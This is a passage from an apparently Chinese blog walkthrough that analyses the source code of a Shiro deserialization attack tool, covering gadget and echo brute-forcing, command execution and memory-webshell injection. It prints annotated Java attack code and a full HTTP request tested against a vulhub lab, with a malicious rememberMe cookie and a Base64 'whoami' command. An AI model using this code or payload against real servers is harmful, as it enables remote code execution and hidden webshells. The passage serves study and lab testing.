//将组合格式化为 "gadget:echo" 加入列表。
targets.add(gadgetItems.get(i) + ":" + echoesItems.get(j));
}
}

return targets;
}


示例:若 gadget 有 [“CommonsBeanutils1”, “CommonsBeanutilsString”],echo 有 [“TomcatEcho”, “SpringEcho”],则生成:

1
2
["CommonsBeanutils1:TomcatEcho", "CommonsBeanutils1:SpringEcho", 
"CommonsBeanutilsString:TomcatEcho", "CommonsBeanutilsString:SpringEcho"]
跟进attackService.gadgetCrack()


回到crackGadgetBtn跟进gadgetCrack()
这个前面分析过了,传入的参数就是利用链,回显方式,还有aeskey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public boolean gadgetCrack(String gadgetOpt, String echoOpt, String spcShiroKey) {
// 初始化结果标志,表示是否找到“可用的利用链+回显”。
boolean flag = false;

try {
//调用GadgetPayload(...)构造一个带"命令执行/回显能力"的rememberMe Cookie值
//gadgetOpt:利用链名(如 CommonsBeanutilsString)
//echoOpt:回显方式名(如 TomcatEcho 或 SpringEcho)
//spcShiroKey:你要测试的 Shiro key(已经被确认/猜测是正确的)
String rememberMe = this.GadgetPayload(gadgetOpt, echoOpt, spcShiroKey);
//如果GadgetPayload构造成功(没抛异常,返回非null)。
if (rememberMe != null) {
//创建一个新的请求头Map
HashMap header = new HashMap();
//将刚刚生成的rememberMe放入Cookie头中
header.put("Cookie", rememberMe + ";");
//调用headerHttpRequest发送HTTP请求
String result = this.headerHttpRequest(header);
//用一个简单的条件来判断“构造链是否成功触发回显”
if (result.contains("Host")) {
//这是我添加的调试信息,因为不是很明白为什么回包会包含host,后面发现不与正常请求回复包相同
System.out.println(result);
//日志区输出:已经发现可用构造链和回显方式,提示你去下面的“命令执行/内存马”标签页进行利用。
this.mainController.logTextArea.appendText(Utils.log("[++] 发现构造链:" + gadgetOpt + " 回显方式: " + echoOpt));
this.mainController.logTextArea.appendText(Utils.log("[++] 请尝试进行功能区利用。"));
//记录成功的gadget名(后续执行命令、内存马会用到)
this.mainController.gadgetOpt.setValue(gadgetOpt);
this.mainController.echoOpt.setValue(echoOpt);
gadget = gadgetOpt;
//记录这次成功的rememberMe Cookie值,后续命令执行时会复用。
attackRememberMe = rememberMe;
//表示找到了可用链
flag = true;
System.out.println("Cookie:"+rememberMe + ";");
} else {
//失败分支:如果响应中不包括“Host”,认为这组gadget+echo+key没有成功回显,日志记录这次测试失败。
System.out.println(result);
this.mainController.logTextArea.appendText(Utils.log("[-] 测试:" + gadgetOpt + " 回显方式: " + echoOpt));
}
}
} catch (Exception var8) {
//捕获整个流程中的任何异常,写入之日而不是抛出到UI
this.mainController.logTextArea.appendText(Utils.log(var8.getMessage()));
}
//把这条利用链是否成功的布尔结果返回给 crackSpcGadgetBtn,用于决定是否提示“未找到构造链”。
return flag;
}

命令执行功能分析

首先还是回到gui.fxml


跟进下executeCmdBtn

跟进executeCmdBtn()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@FXML
void executeCmdBtn(ActionEvent event) {
//必须先有可用的构造链Cookie
if (AttackService.attackRememberMe != null) {
//从命令输入框读取命令
String command = this.exCommandText.getText();
//命令不能为空
if (!command.equals("")) {
//调用 AttackService.execCmdTask 执行,只有当你已经拿到“可用的 rememberMe 构造链”后,命令执行才会启用。
this.attackService.execCmdTask(command);
} else {
this.execOutputArea.appendText(Utils.log("请先输入获取的命令"));
}
} else {
this.execOutputArea.appendText(Utils.log("请先获取密钥和构造链"));
}

}

跟进attackService.execCmdTask()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public void execCmdTask(String command) {
//创建一个 HashMap 作为请求头,attackRememberMe 是之前 gadgetCrack 成功时记下来的 Cookie 值(包含恶意反序列化链 + 回显类)。
HashMap<String, String> header = new HashMap();
//使用之前成功的rememberMe Cookie
header.put("Cookie", attackRememberMe);
//将输入的command用UTF-8转字节,再Base64编码成b64Command。
String b64Command = Base64.encodeToString(command.getBytes(StandardCharsets.UTF_8));
//把命令做Base64,放到Authorization头(Basic xxx)
header.put("Authorization", "Basic "+b64Command);
//发送HTTP请求(带Cookie + Authorization)
String responseText = this.bodyHttpRequest(header, "");
//按$$$分割,取中间那段作为回显数据
String result = responseText.split("\\$\\$\\$")[1];
if (!result.equals("")) {
//先按Base64解码回显内容
byte[] b64bytes = Base64.decode(result);

try {
//猜测字符编码(UTF-8/GBK等)
String defaultEncode = Utils.guessEncoding(b64bytes);
//按猜到的编码转成字符串,写到"命令执行输出"框
this.mainController.execOutputArea.appendText(new String(b64bytes, defaultEncode));
this.mainController.execOutputArea.appendText("-----------------------------------------------------------------------"+ "\n");
} catch (UnsupportedEncodingException var8) {
//兜底:直接按默认编码转字符串
this.mainController.execOutputArea.appendText(new String(b64bytes) + "\n");
}
} else {
//没有输出内容的情况
this.mainController.execOutputArea.appendText(Utils.log("命令已执行,返回为空"));
}

}


ok,现在使用vulhub的靶场搭建一下,测试一下上面命令执行的内容
构建一个数据包

1
header.put("Cookie", attackRememberMe);

首先在攻击工具代码中调试得出cookie的值,cookie的值包括了利用链和回显类,很长很长,但不包含执行的命令
然后

1
header.put("Authorization", "Basic "+b64Command);

这里假如我们输入的命令为whoami
构造的请求头就为

1
Authorization: Basic d2hvYW1p

下面是完整的请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 192.168.47.130:8080
Content-Length: 53
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://192.168.47.130:8080
Authorization: Basic d2hvYW1p
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.47.130:8080/login;jsessionid=A3FCBBD79C2F9A59DEED9F40D56B02C9
Accept-Encoding: gzip, deflate, br
Cookie:rememberMe=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;
Connection: keep-alive

username=admin&password=vulhub&rememberme=remember-me

回显内容为

这也解释了上面代码

1
String result = responseText.split("\\$\\$\\$")[1];

解释了为什么要分割$符号
下面是工具返回的内容

跟进attackService.bodyHttpRequest()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public String bodyHttpRequest(HashMap<String, String> header, String postString) {
String result = "";
//调用 getCombineHeaders() 合并全局自定义请求头与传入的 header,返回合并后的 Map
HashMap combineHeaders = this.getCombineHeaders(header);
//从 MainController.currentProxy 获取代理对象(可能为 null)
Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
try {
//判断是否为空 POST 体(即 GET 请求)
if (postString.equals("")) {
//发送 GET 请求(Hutool)
result = cn.hutool.http.HttpUtil.createRequest(Method.valueOf(this.method),this.url).setProxy(proxy).headerMap(combineHeaders,true).setFollowRedirects(false).execute().toString();
//若响应包含“Host”(回显标记),直接返回结果
if (result.contains("Host")){
return result;
}
//若 Hutool 请求未触发回显,使用自定义 HttpUtil.getHttpReuest() 再次发送 GET
result = HttpUtil.getHttpReuest(this.url, this.timeout, "UTF-8", combineHeaders);
//postString 非空,且(响应不含 "Host" 或方法不是 GET)
} else if (!result.contains("Host") | !this.method.equals("GET")) {
result = HttpUtil.postHttpReuest(this.url, postString, "UTF-8", combineHeaders, "application/x-www-form-urlencoded", this.timeout);
}
} catch (Exception var6) {
//捕获异常,将错误信息写入日志
this.mainController.logTextArea.appendText(Utils.log(var6.getMessage()));
}
//返回结果
return result;
}


解释一下上面代码的参数
其中GET请求

1
result = cn.hutool.http.HttpUtil.createRequest(Method.valueOf(this.method),this.url).setProxy(proxy).headerMap(combineHeaders,true).setFollowRedirects(false).execute().toString();
  • createRequest(Method.valueOf(this.method), this.url):创建请求(方法来自 this.method,URL 来自 this.url)
  • .setProxy(proxy):设置代理
  • .headerMap(combineHeaders, true):设置请求头(true 表示覆盖同名头)
  • .setFollowRedirects(false):不自动跟随重定向
  • .execute().toString():执行并转为字符串

发送POST请求

1
result = HttpUtil.postHttpReuest(this.url, postString, "UTF-8", combineHeaders, "application/x-www-form-urlencoded", this.timeout);
  • this.url:目标 URL
  • postString:POST 数据
  • “UTF-8”:编码
  • combineHeaders:合并后的请求头
  • “application/x-www-form-urlencoded”:Content-Type
  • this.timeout:超时(毫秒)
跟进guessEncoding()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static String guessEncoding(byte[] bytes) {
//定义默认编码为“UTF-8”(检测失败时的回退值)
String DEFAULT_ENCODING = "UTF-8";
//创建 UniversalDetector 实例(Mozilla 的字符编码检测库)
//参数:(CharsetListener)null(不使用监听器,传 null)
UniversalDetector detector = new UniversalDetector((CharsetListener)null);
//将字节数组提供给检测器进行分析,bytes:字节数组,0:起始位置,bytes.length:长度(处理全部数据)
detector.handleData(bytes, 0, bytes.length);
//标记数据已全部提供,开始最终分析
detector.dataEnd();
//获取检测结果(编码名称,如 "UTF-8""GBK""ISO-8859-1" 等),可能返回 null(无法确定时)
String encoding = detector.getDetectedCharset();
//重置检测器状态,便于复用
detector.reset();
//若检测结果为 null,使用默认编码 "UTF-8"
if (encoding == null) {
encoding = DEFAULT_ENCODING;
}
//返回编码名称
return encoding;
}

方法总结:

  • 用途:自动检测字节数组的字符编码
  • 使用场景:在 AttackService.execCmdTask() 中,用于正确解码命令执行的回显内容
  • 工作原理:通过字节模式分析推测编码(如 BOM、字符频率等)
  • 回退机制:检测失败时返回 “UTF-8”

内存马功能分析

还是去看gui.fxml定位一下,看看对应事件跟进

跟进injectShellBtn()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//由FXML绑定到按钮点击事件
@FXML
void injectShellBtn(ActionEvent event) {
//从下拉框memShellOpt获取选中的内存马类型(如"哥斯拉[Servlet]"、"冰蝎[Filter]")
String memShellType = (String)this.memShellOpt.getValue();
//从密码输入框获取密码
String shellPass = this.shellPassText.getText();
//从路径输入框获取注入路径(如 "/favicondemo.ico")
String shellPath = this.shellPathText.getText();
//检查是否已获取利用链(AttackService.gadget不为null)
if (AttackService.gadget != null ) {
//满足则调用 injectMem()
this.attackService.injectMem(memShellType, shellPass, shellPath);
} else {
//否则提示先获取密钥和构造链
this.InjOutputArea.appendText(Utils.log("请先获取密钥和构造链"));
}

}

跟进attackService.injectMem()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//memShellType:内存马类型,shellPass:shell密码,shellPath:shell路径
public void injectMem(String memShellType, String shellPass, String shellPath) {
//调用GadgetPayload()生成注入用的Cookie
//gadget:已成功的利用链(如 "CommonsBeanutilsString")
//"InjectMemTool":回显类(用于注入内存马)
//realShiroKey:已获取的 Shiro 密钥
String injectRememberMe = this.GadgetPayload(gadget, "InjectMemTool", realShiroKey);
//检查Cookie是否生成成功,非null继续
if (injectRememberMe != null) {
//创建请求头 Map
HashMap<String, String> header = new HashMap();
//添加Cookie(注入用的rememberMe)
header.put("Cookie", injectRememberMe);
//添加p(密码)
header.put("p", shellPass);
//添加path(路径)
header.put("path", shellPath);

try {
//调用MemBytes.getBytes()获取对应内存马的 Base64 字节码
String b64Bytecode = MemBytes.getBytes(memShellType);
//构建POST数据,POST数据格式:user=<Base64编码的内存马字节码>
String postString = "user=" + b64Bytecode;
//发送HTTP请求,使用bodyHttpRequest() 发送 POST,携带请求头和 POST 数据
String result = this.bodyHttpRequest(header, postString);
//判断注入是否成功,响应包含 "->|Success|<-" 视为成功
if (result.contains("->|Success|<-")) {
//提取域名并拼接路径
String httpAddress = Utils.UrlToDomain(this.url);
//输出成功信息
this.mainController.InjOutputArea.appendText(Utils.log(memShellType + " 注入成功!"));
this.mainController.InjOutputArea.appendText(Utils.log("路径:" + httpAddress + shellPath));
//非reGeorg类型时输出密码
if (!memShellType.equals("reGeorg[Servlet]")) {
this.mainController.InjOutputArea.appendText(Utils.log("密码:" + shellPass));
}
} else {
//失败时,若包含 "->|" 和 "|<-",输出服务器返回的错误信息
if (result.contains("->|") && result.contains("|<-")) {
this.mainController.InjOutputArea.appendText(Utils.log(result));
}
//否则输出通用失败提示
this.mainController.InjOutputArea.appendText(Utils.log("注入失败,请更换注入类型或者更换新路径"));
}
//捕获异常并输出错误信息
} catch (Exception var10) {
this.mainController.InjOutputArea.appendText(Utils.log(var10.getMessage()));
}
//在输出区域添加分割线
this.mainController.InjOutputArea.appendText(Utils.log("-------------------------------------------------"));
}

}

跟进MemBytes.getBytes()



有两个方法,一个是有参,一个是无参。当然上面调用的是有参的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//参数为内存马类型
public static String getBytes(String option) throws NotFoundException, IOException, CannotCompileException {
//从MEM_MAP中根据option获取类名,MEM_MAP 是静态 Map,在静态块中初始化,映射关系如:"哥斯拉[Servlet]" -> "GodzillaServlet"
//示例:option = "哥斯拉[Servlet]" → classname = "GodzillaServlet"
String classname = MEM_MAP.get(option);
//从MEM_TOOLS中根据classname获取预存的Base64编码字节码字符串
//MEM_TOOLS 是静态 Map,在静态块中初始化,存储类名到 Base64 字节码的映射
//示例:classname="GodzillaServlet"->返回对应的Base64字符串
//该字符串是预先生成的,由无参数的 getBytes() 工具方法生成
return MEM_TOOLS.get(classname);
}

public static void getBytes() throws Exception {
//遍历MEM_MAP的每个条目
for (Map.Entry<String, String> entry : MEM_MAP.entrySet()) {
//获取Javassist的默认ClassPool,ClassPool用于管理类路径和加载类,getDefault()返回默认实例,包含系统类路径
ClassPool pool = ClassPool.getDefault();
//从ClassPool加载类,拼接完整类名:“com.summersec.x." + entry.getValue()”
//示例:entry.getValue() 为 "GodzillaServlet" → 完整类名 "com.summersec.x.GodzillaServlet"
//pool.get(...) 返回 CtClass,表示可操作的类对象
//CtClass 用于获取字节码或进行修改
CtClass cc = pool.get("com.summersec.x." + (String)entry.getValue());
//将Ctclass转换为字节码数组,toBytecode()返回编译后的.class文件字节数组,该字节数组可直接用于动态加载
byte[] b = cc.toBytecode();
//将CtClass转换为Class<?>
//ClassFiles.classAsFile(...):将类转换为文件路径字符串(如 "com/summersec/x/GodzillaServlet.class")
//此处调用可能用于验证或调试,不影响后续流程
ClassFiles.classAsFile(cc.toClass());
//江字节数组进行Base64编码
//Base64.encodeBase64(b) 返回编码后的字节数组
String b64bytecode = new String(Base64.encodeBase64(b));
//对Base64字符串进行URL编码
String result = URLEncoder.encode(b64bytecode, "UTF-8");
//打印MEM_TOOLS.put(...)语句
System.out.println("MEM_TOOLS.put(\"" + (String)entry.getValue() + "\", \"" + result + "\");");
}
}

在有参方法中假如传入的是蚁剑

直接会返回其对应的Base64(URL 编码)字节码字符串

然后现在看无参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void getBytes() throws Exception {
//遍历MEM_MAP的每个条目
for (Map.Entry<String, String> entry : MEM_MAP.entrySet()) {
//获取Javassist的默认ClassPool,ClassPool用于管理类路径和加载类,getDefault()返回默认实例,包含系统类路径
ClassPool pool = ClassPool.getDefault();
//从ClassPool加载类,拼接完整类名:“com.summersec.x." + entry.getValue()”
//示例:entry.getValue() 为 "GodzillaServlet" → 完整类名 "com.summersec.x.GodzillaServlet"
//pool.get(...) 返回 CtClass,表示可操作的类对象
//CtClass 用于获取字节码或进行修改
CtClass cc = pool.get("com.summersec.x." + (String)entry.getValue());
//将Ctclass转换为字节码数组,toBytecode()返回编译后的.class文件字节数组,该字节数组可直接用于动态加载
byte[] b = cc.toBytecode();
//将CtClass转换为Class<?>
//ClassFiles.classAsFile(...):将类转换为文件路径字符串(如 "com/summersec/x/GodzillaServlet.class")
//此处调用可能用于验证或调试,不影响后续流程
ClassFiles.classAsFile(cc.toClass());
//江字节数组进行Base64编码
//Base64.encodeBase64(b) 返回编码后的字节数组
String b64bytecode = new String(Base64.encodeBase64(b));
//对Base64字符串进行URL编码
String result = URLEncoder.encode(b64bytecode, "UTF-8");
//打印MEM_TOOLS.put(...)语句
System.out.println("MEM_TOOLS.put(\"" + (String)entry.getValue() + "\", \"" + result + "\");");
}
}

现在我们只看 entry 正好是AntSwordServlet这一条时会发生什么。
某一次循环:

  • entry.getKey() = “蚁剑[Servlet]“
  • entry.getValue() = “AntSwordServlet”

然后就是Javassist 从 classpath 中加载 com.summersec.x.AntSwordServlet 这个类,得到一个可操作的字节码对象 CtClass cc。
定位一下

这一部分有两三百行,在这里分析不太合适,后面我会再开一个章节或者新写一篇博客来理解这个

跟进Utils.UrlToDomain()

回来

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static String UrlToDomain(String target) {
try {
//使用JDK自带的java.net.URL类来解析传入的URL字符串。
URL url = new URL(target);
int port;
//url.getPort() -> -1(没写端口)
if (url.getPort() == -1) {
//url.getDefaultPort() -> 80
port = url.getDefaultPort();
} else {
port = url.getPort();
}
//url.getHost()域名,拼接
String httpAddress = url.getProtocol() + "://" + url.getHost() + ":" + port;
return httpAddress;
} catch (Exception var4) {
return var4.getMessage();
}
}

跟进InjectMemTool()

回到injectMem

1
String injectRememberMe = this.GadgetPayload(gadget, "InjectMemTool", realShiroKey);

InjectMemTool作为echo名传进去

  • 在GadgetPayload(…)里面,会调用Gadgets.createTemplatesImpl(echoOpt),而echoOpt就是”InjectMemTool”:
  1. Gadgets.createTemplatesImpl(“InjectMemTool”) → 内部会用反射找到 com.summersec.attack.deser.plugins.InjectMemTool 这个类,对应的 EchoPayload 实现。
  2. 调用它的 genPayload(ClassPool pool) 来生成一个 包含 InjectMemTool 构造函数逻辑的恶意类字节码,再塞进 TemplatesImpl,最终一起被序列化进 rememberMe Cookie。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class InjectMemTool implements EchoPayload {
@Override
//这是EchoPayload接口要求实现的方法。
